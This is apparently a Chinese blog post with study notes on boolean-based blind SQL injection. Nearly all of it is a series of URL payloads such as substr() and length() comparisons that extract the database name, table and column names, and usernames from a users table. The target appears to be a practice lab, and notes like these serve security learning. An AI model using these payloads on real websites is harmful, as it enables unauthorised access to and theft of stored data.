首页 > 其他分享 >2、布尔注入

2、布尔注入

时间:2023-07-12 13:44:27浏览次数:25  
标签:schema name substr --+ table 布尔 id 注入

获取数据库名

长度
?id=2' and length(database())=8 --+

逐字猜解
?id=2' and substr(database(),1,1)='s' --+
?id=2' and substr(database(),2,1)='e' --+

 


获取数据表

长度
?id=2' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+

逐字猜解
?id=2' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+
?id=2' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='a' --+

 

 

获取列名

 

长度
?id=2' and length((Select column_name from information_schema.columns where table_name=0x7573657273 Limit 0,1))=4 --+


逐字猜解
?id=2' and substr((Select column_name from information_schema.columns where table_name=0x7573657273 Limit 0,1),1,1)='u' --+
?id=2' and substr((Select column_name from information_schema.columns where table_name=0x7573657273 Limit 0,1),1,1)='s' --+

 

 

获取字段(行)

长度(多少行) 14行
?id=2' and substr((Select count(*) from users),1,1)='1' --+
?id=2' and substr((Select count(*) from users),2,1)='4' --+

username 列 第一个字段 长度
?id=2' and length((Select username from users limit 0,1))=4 --+


逐字猜解
?id=2' and substr((Select username from users limit 0,1),1,1)="d" --+

 

标签:schema,name,substr,--+,table,布尔,id,注入
From: https://www.cnblogs.com/baiye1/p/17547274.html

相关文章

  • 19:vue3 依赖注入
    1、通过Prop逐级透传问题(传统老的方法只能逐级传递) 传统方式代码如下:App.vue1<template>2<h3>祖宗</h3>3<Parent:msg="msg"></Parent>4</template>56<script>7importParentfrom"./components/Parent.vue"......
  • 注解开发实现为第三方bean注入资源
     简单类型直接注入,使用Value注解 引用类型使用形参注入,只要在包下存在这个bean,容器就会自动装配注入,而且使用的是按类型装配......
  • 注解开发依赖注入
        ......
  • 1、union 注入
     判断前面有多少列?id=2'orderby3--+确定显示位?id=2'and'1'='2'unionselect1,2,3--+0、获取当前数据库名?id=2'and'1'='2'unionselect1,database(),3--+  1、查询数据表 基础语法: unionselect1,2,3fromtablewhere.........
  • WIMBoot是一种在Windows系统中实现文件镜像引导的技术。它允许将Windows镜像文件(WIM文
    WIMBoot是一种在Windows系统中实现文件镜像引导的技术。它允许将Windows镜像文件(WIM文件)直接注入到硬盘的压缩存储空间中,从而节省磁盘空间并提高系统性能。在WIMBoot中,WIM文件包含了完整的Windows操作系统及其组件。通常,WIM文件中的内容被解压缩并复制到硬盘上的普通文件系统中。......
  • 「Python」参数化查询防止SQL注入攻击
    importpymysql#1.链接mysqlconn=pymysql.connect(user='root',password="123",host='127.0.0.1',database='cars'#需要去数据库创建表,无法在此创建) #2.获取一个游标cursor=conn.cursor(cursor=pymysql.cursors.DictCursor)#返回的查询结果以字典的形式表示,其......
  • frida hook工具使用——用于os api注入分析还是不错的
    准备:pipinstallfridapipinstallfrida-tools 开始:1、创建child-gating1.pyimportosimportthreadingfromfrida_tools.applicationimportReactorimportfridaimportargparseclassApplication:def__init__(self,log_location):self.fpat......
  • 永磁同步电机高频方波电压注入法(V1)。 整个仿真提供两种形式,一
    永磁同步电机高频方波电压注入法(V1)。整个仿真提供两种形式,一个采用状态机控制转速环,电流环,十分方便导入MCU工程中,另一个是传统的FOC框图式的,适合初学者。本模型1.方波信号施加在静止坐标系下2.方波频率最高取开关频率一半(5k开关频率,方波2.5k),3.位置估算采用PLL锁相环实现,特别适......
  • 基于凸极永磁同步电机—高频注入(方波)。 转子锁相环PLL,包括两种仿真
    基于凸极永磁同步电机—高频注入(方波)。转子锁相环PLL,包括两种仿真,含有相对应学习文献,可作为基础学习。ID:8850647862816842......
  • 集合注入
          ......